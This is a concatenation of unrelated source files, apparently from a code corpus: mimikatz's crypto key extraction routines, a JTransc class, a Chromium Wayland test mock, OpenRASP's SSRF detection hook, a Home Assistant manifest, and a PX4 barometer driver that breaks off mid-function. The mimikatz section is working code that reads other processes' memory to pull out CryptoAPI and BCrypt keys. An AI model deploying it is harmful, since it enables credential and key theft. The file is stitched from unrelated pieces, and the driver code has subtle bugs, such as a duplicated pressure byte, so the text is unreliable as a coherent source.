8; return 10 * ((v6 >> 1) + v5 + 2); } BOOL CALLBACK kuhl_m_crypto_extract_MemoryAnalysis(PMEMORY_BASIC_INFORMATION pMemoryBasicInformation, PVOID pvArg) { PKIWI_CRYPT_SEARCH ps = (PKIWI_CRYPT_SEARCH) pvArg; KULL_M_MEMORY_ADDRESS aLocalBuffer = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aRemote = {pMemoryBasicInformation->BaseAddress, ps->hMemory}, aKey = aRemote; PBYTE cur, limite; DWORD size = #if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64 (ps->Machine == IMAGE_FILE_MACHINE_AMD64) ? FIELD_OFFSET(KIWI_CRYPTKEY64, KiwiProv) : FIELD_OFFSET(KIWI_CRYPTKEY32, KiwiProv); #elif defined(_M_IX86) FIELD_OFFSET(KIWI_CRYPTKEY32, KiwiProv); #endif if((pMemoryBasicInformation->Type == MEM_PRIVATE) && (pMemoryBasicInformation->State != MEM_FREE) && (pMemoryBasicInformation->Protect == PAGE_READWRITE)) { if(aLocalBuffer.address = LocalAlloc(LPTR, pMemoryBasicInformation->RegionSize)) { limite = (PBYTE) aLocalBuffer.address + pMemoryBasicInformation->RegionSize - size; if(kull_m_memory_copy(&aLocalBuffer, &aRemote, pMemoryBasicInformation->RegionSize)) { for(cur = (PBYTE) aLocalBuffer.address; cur < limite; cur += (ps->Machine == IMAGE_FILE_MACHINE_AMD64) ? sizeof(DWORD64) : sizeof(DWORD32)) { if( #if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64 RtlEqualMemory(cur, (ps->Machine == IMAGE_FILE_MACHINE_AMD64) ? (PVOID) &ps->ProcessKiwiCryptKey64 : (PVOID) &ps->ProcessKiwiCryptKey32, size) #elif defined(_M_IX86) RtlEqualMemory(cur, &ps->ProcessKiwiCryptKey32, size) #endif ) { if(ps->currPid != ps->prevPid) { ps->prevPid = ps->currPid; kprintf(L"\n%wZ (%u)\n", ps->processName, ps->currPid); } aKey.address = cur + ((PBYTE) aRemote.address - (PBYTE) aLocalBuffer.address); #if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64 if(ps->Machine == IMAGE_FILE_MACHINE_AMD64) kuhl_m_crypto_extractor_capi64(&aKey); else #endif kuhl_m_crypto_extractor_capi32(&aKey); } } } LocalFree(aLocalBuffer.address); } } return TRUE; } BOOL CALLBACK kuhl_m_crypto_extract_exports_callback_module_exportedEntry32(PKULL_M_PROCESS_EXPORTED_ENTRY pExportedEntryInformations, PVOID pvArg) { PKIWI_CRYPT_SEARCH ps = (PKIWI_CRYPT_SEARCH) pvArg; if(pExportedEntryInformations->name) { if(_stricmp(pExportedEntryInformations->name, "CPGenKey") == 0) ps->ProcessKiwiCryptKey32.CPGenKey = PtrToUlong(pExportedEntryInformations->function.address); else if(_stricmp(pExportedEntryInformations->name, "CPDeriveKey") == 0) ps->ProcessKiwiCryptKey32.CPDeriveKey = PtrToUlong(pExportedEntryInformations->function.address); else if(_stricmp(pExportedEntryInformations->name, "CPDestroyKey") == 0) ps->ProcessKiwiCryptKey32.CPDestroyKey = PtrToUlong(pExportedEntryInformations->function.address); else if(_stricmp(pExportedEntryInformations->name, "CPSetKeyParam") == 0) ps->ProcessKiwiCryptKey32.CPSetKeyParam = PtrToUlong(pExportedEntryInformations->function.address); else if(_stricmp(pExportedEntryInformations->name, "CPGetKeyParam") == 0) ps->ProcessKiwiCryptKey32.CPGetKeyParam = PtrToUlong(pExportedEntryInformations->function.address); else if(_stricmp(pExportedEntryInformations->name, "CPExportKey") == 0) ps->ProcessKiwiCryptKey32.CPExportKey = PtrToUlong(pExportedEntryInformations->function.address); else if(_stricmp(pExportedEntryInformations->name, "CPImportKey") == 0) ps->ProcessKiwiCryptKey32.CPImportKey = PtrToUlong(pExportedEntryInformations->function.address); else if(_stricmp(pExportedEntryInformations->name, "CPEncrypt") == 0) ps->ProcessKiwiCryptKey32.CPEncrypt = PtrToUlong(pExportedEntryInformations->function.address); else if(_stricmp(pExportedEntryInformations->name, "CPDecrypt") == 0) ps->ProcessKiwiCryptKey32.CPDecrypt = PtrToUlong(pExportedEntryInformations->function.address); else if(_stricmp(pExportedEntryInformations->name, "CPDuplicateKey") == 0) ps->ProcessKiwiCryptKey32.CPDuplicateKey = PtrToUlong(pExportedEntryInformations->function.address); ps->bAllProcessKiwiCryptKey = ps->ProcessKiwiCryptKey32.CPGenKey && ps->ProcessKiwiCryptKey32.CPDeriveKey && ps->ProcessKiwiCryptKey32.CPDestroyKey && ps->ProcessKiwiCryptKey32.CPSetKeyParam && ps->ProcessKiwiCryptKey32.CPGetKeyParam && ps->ProcessKiwiCryptKey32.CPExportKey && ps->ProcessKiwiCryptKey32.CPImportKey && ps->ProcessKiwiCryptKey32.CPEncrypt && ps->ProcessKiwiCryptKey32.CPDecrypt && ps->ProcessKiwiCryptKey32.CPDuplicateKey; } return !ps->bAllProcessKiwiCryptKey; } #if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64 BOOL CALLBACK kuhl_m_crypto_extract_exports_callback_module_exportedEntry64(PKULL_M_PROCESS_EXPORTED_ENTRY pExportedEntryInformations, PVOID pvArg) { PKIWI_CRYPT_SEARCH ps = (PKIWI_CRYPT_SEARCH) pvArg; if(pExportedEntryInformations->name) { if(_stricmp(pExportedEntryInformations->name, "CPGenKey") == 0) ps->ProcessKiwiCryptKey64.CPGenKey = (DWORD64) pExportedEntryInformations->function.address; else if(_stricmp(pExportedEntryInformations->name, "CPDeriveKey") == 0) ps->ProcessKiwiCryptKey64.CPDeriveKey = (DWORD64) pExportedEntryInformations->function.address; else if(_stricmp(pExportedEntryInformations->name, "CPDestroyKey") == 0) ps->ProcessKiwiCryptKey64.CPDestroyKey = (DWORD64) pExportedEntryInformations->function.address; else if(_stricmp(pExportedEntryInformations->name, "CPSetKeyParam") == 0) ps->ProcessKiwiCryptKey64.CPSetKeyParam = (DWORD64) pExportedEntryInformations->function.address; else if(_stricmp(pExportedEntryInformations->name, "CPGetKeyParam") == 0) ps->ProcessKiwiCryptKey64.CPGetKeyParam = (DWORD64) pExportedEntryInformations->function.address; else if(_stricmp(pExportedEntryInformations->name, "CPExportKey") == 0) ps->ProcessKiwiCryptKey64.CPExportKey = (DWORD64) pExportedEntryInformations->function.address; else if(_stricmp(pExportedEntryInformations->name, "CPImportKey") == 0) ps->ProcessKiwiCryptKey64.CPImportKey = (DWORD64) pExportedEntryInformations->function.address; else if(_stricmp(pExportedEntryInformations->name, "CPEncrypt") == 0) ps->ProcessKiwiCryptKey64.CPEncrypt = (DWORD64) pExportedEntryInformations->function.address; else if(_stricmp(pExportedEntryInformations->name, "CPDecrypt") == 0) ps->ProcessKiwiCryptKey64.CPDecrypt = (DWORD64) pExportedEntryInformations->function.address; else if(_stricmp(pExportedEntryInformations->name, "CPDuplicateKey") == 0) ps->ProcessKiwiCryptKey64.CPDuplicateKey = (DWORD64) pExportedEntryInformations->function.address; ps->bAllProcessKiwiCryptKey = ps->ProcessKiwiCryptKey64.CPGenKey && ps->ProcessKiwiCryptKey64.CPDeriveKey && ps->ProcessKiwiCryptKey64.CPDestroyKey && ps->ProcessKiwiCryptKey64.CPSetKeyParam && ps->ProcessKiwiCryptKey64.CPGetKeyParam && ps->ProcessKiwiCryptKey64.CPExportKey && ps->ProcessKiwiCryptKey64.CPImportKey && ps->ProcessKiwiCryptKey64.CPEncrypt && ps->ProcessKiwiCryptKey64.CPDecrypt && ps->ProcessKiwiCryptKey64.CPDuplicateKey; } return !ps->bAllProcessKiwiCryptKey; } #endif const BYTE Bcrypt64[] = {0x20, 0x00, 0x00, 0x00, 0x52, 0x55, 0x55, 0x55}, Bcrypt64_old[] = {0x18, 0x00, 0x00, 0x00, 0x52, 0x55, 0x55, 0x55}; const BYTE Bcrypt32[] = {0x14, 0x00, 0x00, 0x00, 0x52, 0x55, 0x55, 0x55}, Bcrypt32_old[] = {0x10, 0x00, 0x00, 0x00, 0x52, 0x55, 0x55, 0x55}; BOOL CALLBACK kuhl_m_crypto_extract_MemoryAnalysisBCrypt(PMEMORY_BASIC_INFORMATION pMemoryBasicInformation, PVOID pvArg) { PKIWI_CRYPT_SEARCH ps = (PKIWI_CRYPT_SEARCH) pvArg; KULL_M_MEMORY_ADDRESS aLocalBuffer = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aRemote = {pMemoryBasicInformation->BaseAddress, ps->hMemory}, aKey = aRemote; PBYTE cur, limite; DWORD size = #if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64 (ps->Machine == IMAGE_FILE_MACHINE_AMD64) ? sizeof(Bcrypt64) : sizeof(Bcrypt32); #elif defined(_M_IX86) sizeof(Bcrypt32); #endif if((pMemoryBasicInformation->Type == MEM_PRIVATE) && (pMemoryBasicInformation->State != MEM_FREE) && (pMemoryBasicInformation->Protect == PAGE_READWRITE)) { if(aLocalBuffer.address = LocalAlloc(LPTR, pMemoryBasicInformation->RegionSize)) { limite = (PBYTE) aLocalBuffer.address + pMemoryBasicInformation->RegionSize - size; if(kull_m_memory_copy(&aLocalBuffer, &aRemote, pMemoryBasicInformation->RegionSize)) { for(cur = (PBYTE) aLocalBuffer.address; cur < limite; cur += (ps->Machine == IMAGE_FILE_MACHINE_AMD64) ? sizeof(DWORD64) : sizeof(DWORD32)) { if( #if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64 RtlEqualMemory(cur, (ps->Machine == IMAGE_FILE_MACHINE_AMD64) ? ((MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_BUILD_7) ? Bcrypt64_old : Bcrypt64) : ((MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_BUILD_7) ? Bcrypt32_old : Bcrypt32) , size) #elif defined(_M_IX86) RtlEqualMemory(cur, (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_BUILD_7) ? Bcrypt32_old : Bcrypt32, size) #endif ) { if(ps->currPid != ps->prevPid) { ps->prevPid = ps->currPid; kprintf(L"\n%wZ (%u)\n", ps->processName, ps->currPid); } aKey.address = cur + ((PBYTE) aRemote.address - (PBYTE) aLocalBuffer.address); #if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64 if(ps->Machine == IMAGE_FILE_MACHINE_AMD64) kuhl_m_crypto_extractor_bcrypt64(&aKey); else #endif kuhl_m_crypto_extractor_bcrypt32(&aKey); } } } LocalFree(aLocalBuffer.address); } } return TRUE; } BOOL CALLBACK kuhl_m_crypto_extract_ProcessAnalysis(PSYSTEM_PROCESS_INFORMATION pSystemProcessInformation, PVOID pvArg) { PKIWI_CRYPT_SEARCH ps = (PKIWI_CRYPT_SEARCH) pvArg; HANDLE hProcess; DWORD pid = PtrToUlong(pSystemProcessInformation->UniqueProcessId); PEB Peb; PIMAGE_NT_HEADERS pNtHeaders; KULL_M_MEMORY_ADDRESS aRemote = {NULL, NULL}; KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION cryptInfos; if((pid > 4) && (pid != ps->myPid)) { if(hProcess = OpenProcess(GENERIC_READ, FALSE, pid)) { if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &aRemote.hMemory)) { ps->hMemory = aRemote.hMemory; if(kull_m_process_peb(aRemote.hMemory, &Peb, FALSE)) { aRemote.address = Peb.ImageBaseAddress; if(kull_m_process_ntheaders(&aRemote, &pNtHeaders)) { if(kull_m_process_getVeryBasicModuleInformationsForName(aRemote.hMemory, L"rsaenh.dll", &cryptInfos)) { ps->Machine = pNtHeaders->FileHeader.Machine; ps->bAllProcessKiwiCryptKey = FALSE; RtlZeroMemory(&ps->ProcessKiwiCryptKey32, sizeof(KIWI_CRYPTKEY32)); #if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64 RtlZeroMemory(&ps->ProcessKiwiCryptKey64, sizeof(KIWI_CRYPTKEY64)); #endif if( #if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64 NT_SUCCESS(kull_m_process_getExportedEntryInformations(&cryptInfos.DllBase, (pNtHeaders->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64) ? kuhl_m_crypto_extract_exports_callback_module_exportedEntry64 : kuhl_m_crypto_extract_exports_callback_module_exportedEntry32, pvArg)) #elif defined(_M_IX86) NT_SUCCESS(kull_m_process_getExportedEntryInformations(&cryptInfos.DllBase, kuhl_m_crypto_extract_exports_callback_module_exportedEntry32, pvArg)) #endif && ps->bAllProcessKiwiCryptKey) { ps->currPid = pid; ps->processName = &pSystemProcessInformation->ImageName; kull_m_process_getMemoryInformations(aRemote.hMemory, kuhl_m_crypto_extract_MemoryAnalysis, pvArg); } } if(MIMIKATZ_NT_MAJOR_VERSION > 5) { if(kull_m_process_getVeryBasicModuleInformationsForName(aRemote.hMemory, (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_BUILD_8) ? L"bcrypt.dll" : L"bcryptprimitives.dll", &cryptInfos)) { ps->Machine = pNtHeaders->FileHeader.Machine; ps->bAllProcessKiwiCryptKey = FALSE; ps->currPid = pid; ps->processName = &pSystemProcessInformation->ImageName; kull_m_process_getMemoryInformations(aRemote.hMemory, kuhl_m_crypto_extract_MemoryAnalysisBCrypt, pvArg); } } LocalFree(pNtHeaders); } } kull_m_memory_close(aRemote.hMemory); } CloseHandle(hProcess); } } return TRUE; } NTSTATUS kuhl_m_crypto_extract(int argc, wchar_t * argv[]) { KIWI_CRYPT_SEARCH searchData = {NULL, 0, {0}, #if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64 {0}, #endif FALSE, GetCurrentProcessId(), 0, 0, NULL}; kull_m_process_getProcessInformation(kuhl_m_crypto_extract_ProcessAnalysis, &searchData); return STATUS_SUCCESS; }
21,007
625
package com.jtransc.imaging; public class JTranscNativeBitmap { public Object nativeData; public JTranscNativeBitmap(Object nativeData) { this.nativeData = nativeData; } public JTranscBitmapData32 getData() { return null; } }
83
14,668
<filename>ui/ozone/platform/wayland/test/mock_zwp_text_input.cc // Copyright 2019 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "ui/ozone/platform/wayland/test/mock_zwp_text_input.h" namespace wl { namespace { void TextInputV1Activate(wl_client* client, wl_resource* resource, wl_resource* seat, wl_resource* surface) { GetUserDataAs<MockZwpTextInput>(resource)->Activate(surface); } void TextInputV1Deactivate(wl_client* client, wl_resource* resource, wl_resource* seat) { GetUserDataAs<MockZwpTextInput>(resource)->Deactivate(); } void TextInputV1ShowInputPanel(wl_client* client, wl_resource* resource) { GetUserDataAs<MockZwpTextInput>(resource)->ShowInputPanel(); } void TextInputV1HideInputPanel(wl_client* client, wl_resource* resource) { GetUserDataAs<MockZwpTextInput>(resource)->HideInputPanel(); } void TextInputV1Reset(wl_client* client, wl_resource* resource) { GetUserDataAs<MockZwpTextInput>(resource)->Reset(); } void TextInputV1SetSurroundingText(wl_client* client, wl_resource* resource, const char* text, uint32_t cursor, uint32_t anchor) { GetUserDataAs<MockZwpTextInput>(resource)->SetSurroundingText( text, gfx::Range(cursor, anchor)); } void TextInputV1SetContentType(wl_client* client, wl_resource* resource, uint32_t content_hint, uint32_t content_purpose) { GetUserDataAs<MockZwpTextInput>(resource)->SetContentType(content_hint, content_purpose); } void TextInputV1SetCursorRectangle(wl_client* client, wl_resource* resource, int32_t x, int32_t y, int32_t width, int32_t height) { GetUserDataAs<MockZwpTextInput>(resource)->SetCursorRect(x, y, width, height); } } // namespace const struct zwp_text_input_v1_interface kMockZwpTextInputV1Impl = { &TextInputV1Activate, // activate &TextInputV1Deactivate, // deactivate &TextInputV1ShowInputPanel, // show_input_panel &TextInputV1HideInputPanel, // hide_input_panel &TextInputV1Reset, // reset &TextInputV1SetSurroundingText, // set_surrounding_text &TextInputV1SetContentType, // set_content_type &TextInputV1SetCursorRectangle, // set_cursor_rectangle nullptr, // set_preferred_language nullptr, // commit_state nullptr, // invoke_action }; MockZwpTextInput::MockZwpTextInput(wl_resource* resource) : ServerObject(resource) {} MockZwpTextInput::~MockZwpTextInput() {} } // namespace wl
1,606
2,219
<reponame>xuing/openrasp<filename>agent/java/engine/src/main/java/com/baidu/openrasp/hook/ssrf/HttpClientHook.java /* * Copyright 2017-2021 Baidu Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.baidu.openrasp.hook.ssrf; import com.baidu.openrasp.hook.ssrf.redirect.AbstractRedirectHook; import com.baidu.openrasp.hook.ssrf.redirect.HttpClientRedirectHook; import com.baidu.openrasp.messaging.LogTool; import com.baidu.openrasp.tool.Reflection; import com.baidu.openrasp.tool.annotation.HookAnnotation; import javassist.CannotCompileException; import javassist.CtBehavior; import javassist.CtClass; import javassist.NotFoundException; import java.io.IOException; import java.net.URI; import java.util.HashMap; import java.util.LinkedList; /** * Created by tyy on 17-12-8. * <p> * httpclient 框架的请求 http 的 hook 点 */ @HookAnnotation public class HttpClientHook extends AbstractSSRFHook { private static ThreadLocal<Boolean> isChecking = new ThreadLocal<Boolean>() { @Override protected Boolean initialValue() { return false; } }; /** * (none-javadoc) * * @see com.baidu.openrasp.hook.AbstractClassHook#isClassMatched(String) */ @Override public boolean isClassMatched(String className) { return "org/apache/http/impl/client/CloseableHttpClient".equals(className) || "org/apache/http/impl/client/AutoRetryHttpClient".equals(className) || "org/apache/http/impl/client/DecompressingHttpClient".equals(className) // 兼容 4.0 版本, 4.0 版本没有 CloseableHttpClient || "org/apache/http/impl/client/AbstractHttpClient".equals(className); } /** * (none-javadoc) * * @see com.baidu.openrasp.hook.AbstractClassHook#hookMethod(CtClass) */ @Override protected void hookMethod(CtClass ctClass) throws IOException, CannotCompileException, NotFoundException { CtClass[] interfaces = ctClass.getInterfaces(); if (interfaces != null) { for (CtClass inter : interfaces) { // 兼容 http client 4.0 版本的 AbstractHttpClient if (inter.getName().equals("org.apache.http.client.HttpClient")) { LinkedList<CtBehavior> methods = getMethod(ctClass, "execute", null, null); String afterSrc = getInvokeStaticSrc(HttpClientHook.class, "exitCheck", "$1,$_", Object.class, Object.class); for (CtBehavior method : methods) { if (method.getSignature().startsWith("(Lorg/apache/http/client/methods/HttpUriRequest")) { String src = getInvokeStaticSrc(HttpClientHook.class, "checkHttpUri", "$1", Object.class); insertBefore(method, src); insertAfter(method, afterSrc, true); } else if (method.getSignature().startsWith("(Lorg/apache/http/HttpHost")) { String src = getInvokeStaticSrc(HttpClientHook.class, "checkHttpHost", "$1", Object.class); insertBefore(method, src); insertAfter(method, afterSrc, true); } } break; } } } } public static void exitCheck(Object uriValue, Object response) { try { if (isChecking.get() && response != null) { URI redirectUri = HttpClientRedirectHook.uriCache.get(); if (redirectUri != null) { HashMap<String, Object> params = getSsrfParam(uriValue); if (params != null) { HashMap<String, Object> redirectParams = getSsrfParamFromURI(redirectUri); if (redirectParams != null) { AbstractRedirectHook.checkHttpClientRedirect(params, redirectParams, response); } } } } } finally { isChecking.set(false); HttpClientRedirectHook.uriCache.set(null); } } private static HashMap<String, Object> getSsrfParam(Object value) { if (value.getClass().getName().contains("HttpHost")) { return getSsrfParamFromHostValue(value); } else { URI uri = (URI) Reflection.invokeMethod(value, "getURI", new Class[]{}); return getSsrfParamFromURI(uri); } } private static HashMap<String, Object> getSsrfParamFromURI(URI uri) { if (uri != null) { String url = null; String hostName = null; String port = ""; try { url = uri.toString(); hostName = uri.toURL().getHost(); int temp = uri.toURL().getPort(); if (temp > 0) { port = temp + ""; } } catch (Throwable t) { LogTool.traceHookWarn("parse url " + url + " failed: " + t.getMessage(), t); } if (hostName != null) { return getSsrfParam(url, hostName, port, "httpclient"); } } return null; } private static HashMap<String, Object> getSsrfParamFromHostValue(Object host) { try { String hostname = Reflection.invokeStringMethod(host, "getHostName", new Class[]{}); String port = ""; Integer portValue = (Integer) Reflection.invokeMethod(host, "getPort", new Class[]{}); if (portValue != null && portValue > 0) { port = portValue.toString(); } if (hostname != null) { return getSsrfParam(host.toString(), hostname, port, "httpclient"); } } catch (Exception e) { return null; } return null; } public static void checkHttpHost(Object host) { if (!isChecking.get() && host != null) { isChecking.set(true); checkHttpUrl(getSsrfParamFromHostValue(host)); } } public static void checkHttpUri(Object uriValue) { if (!isChecking.get() && uriValue != null) { isChecking.set(true); URI uri = (URI) Reflection.invokeMethod(uriValue, "getURI", new Class[]{}); checkHttpUrl(getSsrfParamFromURI(uri)); } } }
3,402
30,023
<filename>homeassistant/components/circuit/manifest.json { "domain": "circuit", "name": "Unify Circuit", "documentation": "https://www.home-assistant.io/integrations/circuit", "codeowners": ["@braam"], "requirements": ["circuit-webhook==1.0.1"], "iot_class": "cloud_push", "loggers": ["circuit_webhook"] }
120
1,537
/**************************************************************************** * * Copyright (c) 2020-2021 PX4 Development Team. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * 3. Neither the name PX4 nor the names of its contributors may be * used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************/ #include "MPC2520.hpp" using namespace time_literals; static constexpr int32_t combine(uint8_t h, uint8_t m, uint8_t l) { // 24 bit sign extend int32_t ret = (uint32_t)(h << 24) | (uint32_t)(m << 16) | (uint32_t)(l << 8); return ret >> 8; } MPC2520::MPC2520(const I2CSPIDriverConfig &config) : I2C(config), I2CSPIDriver(config), _px4_baro(get_device_id()) { //_debug_enabled = true; } MPC2520::~MPC2520() { perf_free(_reset_perf); perf_free(_bad_register_perf); perf_free(_bad_transfer_perf); } int MPC2520::init() { int ret = I2C::init(); if (ret != PX4_OK) { DEVICE_DEBUG("I2C::init failed (%i)", ret); return ret; } return Reset() ? 0 : -1; } bool MPC2520::Reset() { _state = STATE::RESET; ScheduleClear(); ScheduleNow(); return true; } void MPC2520::print_status() { I2CSPIDriverBase::print_status(); perf_print_counter(_reset_perf); perf_print_counter(_bad_register_perf); perf_print_counter(_bad_transfer_perf); } int MPC2520::probe() { const uint8_t ID = RegisterRead(Register::ID); uint8_t PROD_ID = ID & 0xF0 >> 4; // Product ID Bits 7:4 if (PROD_ID != Product_ID) { DEVICE_DEBUG("unexpected PROD_ID 0x%02x", PROD_ID); return PX4_ERROR; } return PX4_OK; } void MPC2520::RunImpl() { const hrt_abstime now = hrt_absolute_time(); switch (_state) { case STATE::RESET: // RESET: SOFT_RST RegisterWrite(Register::RESET, RESET_BIT::SOFT_RST); _reset_timestamp = now; _failure_count = 0; _state = STATE::WAIT_FOR_RESET; perf_count(_reset_perf); ScheduleDelayed(50_ms); // Power On Reset: max 50ms break; case STATE::WAIT_FOR_RESET: { // check MEAS_CFG SENSOR_RDY const uint8_t ID = RegisterRead(Register::ID); uint8_t PROD_ID = ID & 0xF0 >> 4; // Product ID Bits 7:4 if (PROD_ID == Product_ID) { // if reset succeeded then read prom _state = STATE::READ_PROM; ScheduleDelayed(40_ms); // Time to coefficients are available. } else { // RESET not complete if (hrt_elapsed_time(&_reset_timestamp) > 1000_ms) { PX4_DEBUG("Reset failed, retrying"); _state = STATE::RESET; ScheduleDelayed(100_ms); } else { PX4_DEBUG("Reset not complete, check again in 10 ms"); ScheduleDelayed(10_ms); } } } break; case STATE::READ_PROM: { uint8_t prom_buf[3] {}; uint8_t cmd = 0x10; transfer(&cmd, 1, &prom_buf[0], 2); _prom.c0 = (int16_t)prom_buf[0] << 4 | prom_buf[1] >> 4; _prom.c0 = (_prom.c0 & 0x0800) ? (0xF000 | _prom.c0) : _prom.c0; cmd = 0x11; transfer(&cmd, 1, &prom_buf[0], 2); _prom.c1 = (int16_t)(prom_buf[0] & 0x0F) << 8 | prom_buf[1]; _prom.c1 = (_prom.c1 & 0x0800) ? (0xF000 | _prom.c1) : _prom.c1; cmd = 0x13; transfer(&cmd, 1, &prom_buf[0], 3); _prom.c00 = (int32_t)prom_buf[0] << 12 | (int32_t)prom_buf[1] << 4 | (int32_t)prom_buf[2] >> 4; _prom.c00 = (_prom.c00 & 0x080000) ? (0xFFF00000 | _prom.c00) : _prom.c00; cmd = 0x15; transfer(&cmd, 1, &prom_buf[0], 3); _prom.c10 = (int32_t)prom_buf[0] << 16 | (int32_t)prom_buf[1] << 8 | prom_buf[2]; _prom.c10 = (_prom.c10 & 0x080000) ? (0xFFF00000 | _prom.c10) : _prom.c10; cmd = 0x18; transfer(&cmd, 1, &prom_buf[0], 2); _prom.c01 = (int16_t)prom_buf[0] << 8 | prom_buf[1]; cmd = 0x1A; transfer(&cmd, 1, &prom_buf[0], 2); _prom.c11 = (int16_t)prom_buf[0] << 8 | prom_buf[1]; cmd = 0x1C; transfer(&cmd, 1, &prom_buf[0], 2); _prom.c20 = (int16_t)prom_buf[0] << 8 | prom_buf[1]; cmd = 0x1E; transfer(&cmd, 1, &prom_buf[0], 2); _prom.c21 = (int16_t)prom_buf[0] << 8 | prom_buf[1]; cmd = 0x20; transfer(&cmd, 1, &prom_buf[0], 2); _prom.c30 = (int16_t)prom_buf[0] << 8 | prom_buf[1]; _state = STATE::CONFIGURE; ScheduleDelayed(10_ms); } break; case STATE::CONFIGURE: if (Configure()) { // if configure succeeded then start measurement cycle _state = STATE::READ; ScheduleOnInterval(1000000 / 32); // 32 Hz } else { // CONFIGURE not complete if (hrt_elapsed_time(&_reset_timestamp) > 1000_ms) { PX4_DEBUG("Configure failed, resetting"); _state = STATE::RESET; } else { PX4_DEBUG("Configure failed, retrying"); } ScheduleDelayed(100_ms); } break; case STATE::READ: { bool success = false; // read temperature first struct TransferBuffer { uint8_t PSR_B2; uint8_t PSR_B1; uint8_t PSR_B0; uint8_t TMP_B2; uint8_t TMP_B1; uint8_t TMP_B0; } buffer{}; uint8_t cmd = static_cast<uint8_t>(Register::PSR_B2); if (transfer(&cmd, 1, (uint8_t *)&buffer, sizeof(buffer)) == PX4_OK) { int32_t Traw = (int32_t)(buffer.TMP_B2 << 16) | (int32_t)(buffer.TMP_B1 << 8) | (int32_t)buffer.TMP_B0; Traw = (Traw & 0x800000) ? (0xFF000000 | Traw) : Traw; static constexpr float kT = 7864320; // temperature 8 times oversampling float Traw_sc = static_cast<float>(Traw) / kT; float Tcomp = _prom.c0 * 0.5f + _prom.c1 * Traw_sc; _px4_baro.set_temperature(Tcomp); int32_t Praw = (int32_t)(buffer.PSR_B2 << 16) | (int32_t)(buffer.PSR_B1 << 8) | (int32_t)buffer.PSR_B1; Praw = (Praw & 0x800000) ? (0xFF000000 | Praw) : Praw; static constexpr float kP = 7864320; // pressure 8 times oversampling float Praw_sc = static_cast<float>(Praw) / kP; // Calculate compensated measurement results. float Pcomp = _prom.c00 + Praw_sc * (_prom.c10 + Praw_sc * (_prom.c20 + Praw_sc * _prom.c30)) + Traw_sc * _prom.c01 + Traw_sc * Praw_sc * (_prom.c11 + Praw_sc * _prom.c21); float pressure_mbar = Pcomp / 100.0f; // convert to millibar _px4_baro.update(now, pressure_mbar); success = true; if (_failure_count > 0) { _failure_count--; } } else { perf_count(_bad_transfer_perf); } if (!success) { _failure_count++; // full reset if things are failing consistently if (_failure_count > 10) { Reset(); return; } } if (!success || hrt_elapsed_time(&_last_config_check_timestamp) > 100_ms) { // check configuration registers periodically or immediately following any failure if (RegisterCheck(_register_cfg[_checked_register])) { _last_config_check_timestamp = now; _checked_register = (_checked_register + 1) % size_register_cfg; } else { // register check failed, force reset perf_count(_bad_register_perf); Reset(); return; } } } break; } } bool MPC2520::Configure() { // first set and clear all configured register bits for (const auto &reg_cfg : _register_cfg) { RegisterSetAndClearBits(reg_cfg.reg, reg_cfg.set_bits, reg_cfg.clear_bits); } // now check that all are configured bool success = true; for (const auto &reg_cfg : _register_cfg) { if (!RegisterCheck(reg_cfg)) { success = false; } } return success; } bool MPC2520::RegisterCheck(const register_config_t &reg_cfg) { bool success = true; const uint8_t reg_value = RegisterRead(reg_cfg.reg); if (reg_cfg.set_bits && ((reg_value & reg_cfg.set_bits) != reg_cfg.set_bits)) { PX4_DEBUG("0x%02hhX: 0x%02hhX (0x%02hhX not set)", (uint8_t)reg_cfg.reg, reg_value, reg_cfg.set_bits); success = false; } if (reg_cfg.clear_bits && ((reg_value & reg_cfg.clear_bits) != 0)) { PX4_DEBUG("0x%02hhX: 0x%02hhX (0x%02hhX not cleared)", 